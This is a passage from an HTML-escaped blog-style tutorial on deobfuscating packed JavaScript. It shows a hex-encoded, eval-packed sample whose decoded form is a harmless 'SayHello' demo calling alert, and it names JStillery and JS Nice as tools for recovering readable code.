class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x41&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x36&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x45&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x35&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x39&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x35&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x39&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x36&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x38&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x44&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x36&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x44&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x32&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x61&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x75&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x77&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x32&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x45&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x36&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x61&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x48&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6f&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x70&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x7c&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It can be manually turned into:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;parseInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;RegExp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;b 5=[&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;7&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;q&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;6&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;B&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;A&quot;];9 k(e){b a=0;j[5[0]]=9(h){a++;x(e+h)};j[5[1]]=9(){y a}}b i=z k(5[2]);i.D(5[3])&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;||||x65|_0|x20|x6F|x61|function|_1|var|x6C|x74|_2|x73|x75|_3|obj|this|NewObject|x3A|x6E|x59|x53|x79|x67|x47|x48|x43|x4D|x6D|x72|alert|return|new|x2E|x77|x63|SayHello&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, it can be passed to &lt;a href=&quot;https://mindedsecurity.github.io/jstillery/&quot;&gt;JStillery&lt;/a&gt;, &lt;a href=&quot;http://jsnice.org/&quot;&gt;JS Nice&lt;/a&gt; and other similar tools in order to get back a human readable version.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;use strict&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
